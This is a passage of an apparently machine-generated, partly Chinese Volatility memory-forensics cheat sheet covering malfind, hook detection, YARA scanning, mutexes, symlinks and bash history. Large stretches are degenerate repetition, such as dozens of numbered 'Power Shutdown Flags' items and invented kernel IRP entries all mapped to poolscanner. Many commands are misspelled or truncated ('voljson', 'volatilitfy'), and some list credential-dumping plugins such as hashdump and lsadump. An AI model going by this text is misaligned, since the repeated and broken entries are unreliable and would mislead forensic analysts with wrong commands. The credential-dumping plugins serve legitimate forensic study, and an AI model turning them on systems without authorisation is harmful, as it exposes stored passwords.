  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags13**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags14**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags15**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags16**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags17**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags18**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags19**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags20**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags21**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags22**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags23**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags24**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags25**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags26**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags27**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags28**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags29**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags30**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags31**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags32**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags33**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags34**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags35**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags36**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags37**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags38**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags39**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags40**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags41**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags42**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags43**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags44**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags45**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags46**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags47**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags48**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags49**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags50**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags51**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags52**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags53**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags54**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags55**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags56**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags57**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags58**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags59**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags60**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags61**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags62**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags63**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags64**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags65**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags66**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting In-Memory Driver Device Power Shutdown Flags67**
  * \`volatility -f \<memory\_dump> --profile= m

```bash
volatility --profile=Win7SP1x86_23418 -f file.dmp malfind [-D /tmp] #Find hidden and injected code [dump each suspicious section]
volatility --profile=Win7SP1x86_23418 -f file.dmp apihooks #Detect API hooks in process and kernel memory
volatility --profile=Win7SP1x86_23418 -f file.dmp driverirp #Driver IRP hook detection
volatility --profile=Win7SP1x86_23418 -f file.dmp ssdt #Check system call address from unexpected addresses

volatility --profile=SomeLinux -f file.dmp linux_check_afinfo
volatility --profile=SomeLinux -f file.dmp linux_check_creds
volatility --profile=SomeLinux -f file.dmp linux_check_fop
volatility --profile=SomeLinux -f file.dmp linux_check_idt
volatility --profile=SomeLinux -f file.dmp linux_check_syscall
volatility --profile=SomeLinux -f file.dmp linux_check_modules
volatility --profile=SomeLinux -f file.dmp linux_check_tty
volatility --profile=SomeLinux -f file.dmp linux_keyboard_notifiers #Keyloggers
```

**使用yara进行扫描**

使用此脚本从github下载并合并所有yara恶意软件规则：<https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9>\
创建名为\_**rules***的目录并执行该脚本。这将创建一个名为***malware\_rules.yar**\_的文件，其中包含所有恶意软件的yara规则。

```bash
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
#Only Windows
./vol.py -f file.dmp windows.vadyarascan.VadYaraScan --yara-file /tmp/malware_rules.yar
#All
./vol.py -f file.dmp yarascan.YaraScan --yara-file /tmp/malware_rules.yar
```

**Volatility Cheat Sheet**

**Basic Forensic Methodology**

1. **Memory Dump Acquisition**
   * **Physical Memory Dump**: `dd if=/dev/mem of=/path/to/image`
   * **Crash Dump**: `copy /y c:\windows\memory.dmp c:\path\to\image`
   * **Hibernation File**: `copy /y c:\hiberfil.sys c:\path\to\image`
2. **Memory Dump Analysis**
   * **Identify Profile**: `volatility -f <dump> imageinfo`
   * **List Processes**: `volatility -f <dump> --profile=<profile> pslist`
   * **Dump Process**: `volatility -f <dump> --profile=<profile> procdump -p <pid> -D <output_directory>`
3. **Network Analysis**
   * **Connections**: `volatility -f <dump> --profile=<profile> connscan`
   * **Sockets**: `volatility -f <dump> --profile=<profile> sockets`
   * **HTTP Sessions**: `volatility -f <dump> --profile=<profile> volatilitfy -f <dump> --profile=<profile> netscan`
4. **File Analysis**
   * **File Listing**: `volatility -f <dump> --profile=<profile> filescan`
   * **Dump File**: `volatility -f <dump> --profile=<profile> dumpfiles -Q <address_range> -D <output_directory>`
5. **Registry Analysis**
   * **User Listing**: `volatility -f <dump> --profile=<profile> hivelist`
   * **Dump Registry Hive**: `voljson -f <dump> --profile=<profile> printkey -o <output_directory> -K <registry_key>`
6. **Malware Analysis**
   * **Detect Hidden Processes**: `volatility -f <dump> --profile=<profile> psxview` json
   * **Detect Hidden Modules**: `volatility -f <dump> --profile=<profile> ldrmodules`
7. **Timeline Analysis**
   * **Show Timelines**: `volatility -f <dump> --profile=<profile> timeliner`
   * **Analyze Timelines**: `volatility -f <dump> --profile=<profile> mactime`
8. **Other Useful Commands**
   * **API Hooks**: `volatility -f <dump> --profile=<profile> apihooks`
   * **Driver Modules**: `volatility -f <dump> --profile=<profile> modules`
   * **SSDT Hooks**: `volatility -f <dump> --profile=<profile> ssdt`

```bash
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
volatility --profile=Win7SP1x86_23418 yarascan -y malware_rules.yar -f ch2.dmp | grep "Rule:" | grep -v "Str_Win32" | sort | uniq
```

#### 其他

**外部插件**

如果要使用外部插件，请确保与插件相关的文件夹是第一个参数使用的内容。

```bash
./vol.py --plugin-dirs "/tmp/plugins/" [...]
```

**Volatility Cheat Sheet**

**Basic Memory Analysis**

* **List processes:** `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dump a process:** `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **List loaded drivers:** `volatility -f <memory_dump> --profile=<profile> ldrmodules`
* **List open network connections:** `volatility -f <memory_dump> --profile=<profile> connections`
* **Recover deleted files:** `volatility -f <memory_dump> --profile=<profile> filescan`

**Malware Analysis**

* **Detect rootkits:** `volatility -f <memory_dump> --profile=<profile> ldrmodules`
* **Identify injected code:** `voljson -f <memory_dump> --profile=<profile> malfind`

**User Analysis**

* **List user accounts:** `volatility -f <memory_dump> --profile=<profile> useraccounts`
* **Retrieve user passwords:** `volatility -f <memory_dump> --profile=<profile> hashdump`

**Network Analysis**

* **Analyze network packets:** `volatility -f <memory_dump> --profile=<profile> netscan`

**Timeline Analysis**

* **Create a timeline of events:** `volatility -f <memory_dump> --profile=<profile> timeliner`

**Plugin Development**

* **Develop custom plugins:** [Volatility Plugin Development](https://github.com/volatilityfoundation/volatility/wiki/Volatility-Usage#developing-plugins)

**Memory Forensics Resources**

* **Official Volatility Documentation:** [Volatility Documentation](https://github.com/volatilityfoundation/volatility/wiki)
* **Memory Forensics Cheat Sheet:** [Memory Forensics Cheat Sheet](https://github.com/sans-dfir/sift-cheatsheet/blob/master/cheatsheets/Volatility_Cheat_Sheet.pdf)

```bash
volatilitye --plugins="/tmp/plugins/" [...]
```

{% endtab %}
{% endtabs %}

#### Autoruns

从<https://github.com/tomchop/volatility-autoruns>下载。

```
volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns
```

### 互斥体

```
./vol.py -f file.dmp windows.mutantscan.MutantScan
```

#### Volatility Cheat Sheet

**Basic Commands**

* **Image Identification**
  * `volatility -f <memory_dump> imageinfo`
* **Listing Processes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Listing Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> connections`
* **Dumping a File**
  * `volmemory_dump> --profile=<profile> file -S <start_address> -E <end_address> -D <output_directory>`
* **Registry Analysis**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`

**Advanced Commands**

* **Detecting Hidden Processes**
  * `volatility -f <memory_dump> --profile=<profile> psxview`
* **Identifying Hidden Modules**
  * `voljson --output=json`
* **Analyzing Kernel Modules**
  * `volatility -f <memory_dump> --profile=<profile> modscan`
* **Extracting Kernel Drivers**
  * `volatility -f <memory_dump> --profile=<profile> moddump -D <output_directory>`
* **Analyzing Timelining Information**
  * `volatility -f <memory_dump> --profile=<profile> timeliner`
* **Analyzing Suspicious Binaries**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Process DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Threads**
  * `volatility -f <memory_dump> --profile=<profile> threads -p <pid>`
* **Analyzing Process PEB**
  * `volatility -f <memory_dump> --profile=<profile> psscan`
* **Analyzing Process Environment Variables**
  * `volatility -f <memory_dump> --profile=<profile> envars -p <pid>`
* **Analyzing Process Memory Map**
  * `volatility -f <memory_dump> --profile=<profile> memmap -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Threads**
  * `volatility -f <memory_dump> --profile=<profile> threads -p <pid>`
* **Analyzing Process PEB**
  * `volatility -f <memory_dump> --profile=<profile> psscan`
* **Analyizing Process Environment Variables**
  * `volatility -f <memory_dump> --profile=<profile> envars -p <pid>`
* **Analyzing Process Memory Map**
  * `volatility -f <memory_dump> --profile=<profile> memmap -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Threads**
  * `volatility -f <memory_dump> --profile=<profile> threads -p <pid>`
* **Analyzing Process PEB**
  * `volatility -f <memory_dump> --profile=<profile> psscan`
* **Analyzing Process Environment Variables**
  * `volatility -f <memory_dump> --profile=<profile> envars -p <pid>`
* **Analyzing Process Memory Map**
  * `volatility -f <memory_dump> --profile=<profile> memmap -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Threads**
  * `volatility -f <memory_dump> --profile=<profile> threads -p <pid>`
* **Analyzing Process PEB**
  * `volatility -f <memory_dump> --profile=<profile> psscan`
* **Analyzing Process Environment Variables**
  * `volatility -f <memory_dump> --profile=<profile> envars -p <pid>`
* **Analyzing Process Memory Map**
  * `volatility -f <memory_dump> --profile=<profile> memmap -p <pid>`

```bash
volatility --profile=Win7SP1x86_23418 mutantscan -f file.dmp
volatility --profile=Win7SP1x86_23418 -f file.dmp handles -p <PID> -t mutant
```

### 符号链接

```bash
./vol.py -f file.dmp windows.symlinkscan.SymlinkScan
```

#### Volatility Cheat Sheet

**Basic Commands**

* **Image Identification**
  * `volatility -f <memory_dump> imageinfo`
* **Listing Processes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dumping a Process**
  * `voljson -f <memory_dump> --profile=<profile> procdump -p <pid> -D <output_directory>`
* **Listing Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> connections`
* **Dumping Registry Hives**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
* **Dumping a Registry Hive** json
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Extracting Files**
  * `volatility -f <memory_dump> --profile=<profile> filescan | grep -i <file_extension>`
* **Dumping LSA Secrets**
  * `volatility -f <memory_dump> --profile=<profile> lsadump`
* **Dumping SAM**
  * `volatility -f <memory_dump> --profile=<profile> hashdump`
* **Dumping Cached Credentials**
  * `volatility -f <memory_dump> --profile=<profile> cachedump`
* **Analyzing ShimCache**
  * `volatility -f <memory_dump> --profile=<profile> shimcache`
* **Analyzing Shellbags**
  * `volatility -f <memory_dump> --profile=<profile> shellbags`
* **Analyzing UserAssist**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Analyzing MFT**
  * `volatility -f <memory_dump> --profile=<profile> mftparser`
* **Analyzing PSScan**
  * `volatility -f <memory_dump> --profile=<profile> psscan`
* **Analyzing Malware**
  * `volatility -f <memory_dump> --profile=<profile> malsysproc`
* **Analyzing Drivers**
  * `volatility -f <memory_dump> --profile=<profile> driverscan`
* **Analyzing Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Analyzing Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Analyzing Sockets**
  * `volatility -f <memory_dump> --profile=<profile> sockets`
* **Analyzing Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Analyzing Timeliner**
  * `volatility -f <memory_dump> --profile=<profile> timeliner`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing GDT**
  * `volatility -f <memory_dump> --profile=<profile> gdt`
* **Analyizing SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing IDT**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Analyzing CSRSS**
  * `volatility -f <memory_dump> --profile=<profile> csrss`
* **Analyzing Malware**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Yara Rules**
  * `volatility -f <memory_dump> --profile=<profile> yarascan`
* **Analyzing API Audit**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing Callbacks**
  * `volatility -f <memory_dump> --profile=<profile> callbacks`
* **Analyzing SSDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing IRP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> irp`
* **Analyizing Scanning Modules**
  * `volatility -f <memory_dump> --profile=<profile> modscan`
* **Analyzing Kernel Modules**
  * `volvolatility -f <memory_dump> --profile=<profile> moddump -D <output_directory>`
* **Analyzing Kernel Drivers**
  * `volatility -f <memory_dump> --profile=<profile> kdbgscan`
* **Analyizing Kernel Pools**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Callbacks**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Handles**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Objects**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver Modules**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver Sections**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver Imports**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver Exports**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver Pools**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver Allocations**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyizing Kernel Driver Unloads**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver Timers**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Handlers**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Callers**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Devices**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Queues**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Pending**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Completed**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Canceled**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Read**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Write**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Device Control**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyizing Kernel Driver IRP Close**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Cleanup**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Create**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Query Information**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Set Information**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Query EA**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyizing Kernel Driver IRP Set EA**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Flush**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Query Volume Information**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Set Volume Information**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Directory Control**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP File System Control**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Device Control**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Internal Device Control**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Shutdown**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Lock Control**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Cleanup**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Create Mailslot**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Query Security**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Set Security**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Power**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP System Control**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Device Change**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Query Quota**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Set Quota**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Query Device Relations**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Query Interface**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Query PNP Device State**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Query Bus Information**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Query Device Text**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Query ID**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Query Device Relations**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Query Resources**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Query Resource Requirements**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Query Legacy Bus Information**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Device Usage Notification**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Surprise Removal**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Query Power**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Set Power**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Others**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Unknown**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Max**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyizing Kernel Driver IRP Min**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Max Unknown**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Min Unknown**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Max Others**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Min Others**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Max WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Min WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Max Power**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Min Power**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Max Set Power**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Min Set Power**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Max Query Power**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Min Query Power**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Max WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Min WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Max WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Min WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Max WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Min WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Max WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Min WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Max WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Min WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Max WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Min WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Max WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Min WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Max WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Min WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Max WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Min WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Max WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Min WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Max WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Min WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Max WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Min WMI**
  * `volatility -f <memory_dump> --profile=<profile> poolscanner`
* **Analyzing Kernel Driver IRP Max WMI**
  * \`

```bash
volatility --profile=Win7SP1x86_23418 -f file.dmp symlinkscan
```

#### Bash

可以**从内存中读取bash历史记录**。您也可以转储.bash\_history文件，但如果它被禁用，您会很高兴能够使用这个volatility模块

```
./vol.py -f file.dmp linux.bash.Bash
```

#### Volatility Cheat Sheet

**Basic Commands**

* **Image Identification**
  * `volatility -f <memory_dump> imageinfo`
* **Listing Processes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dumping a Process**
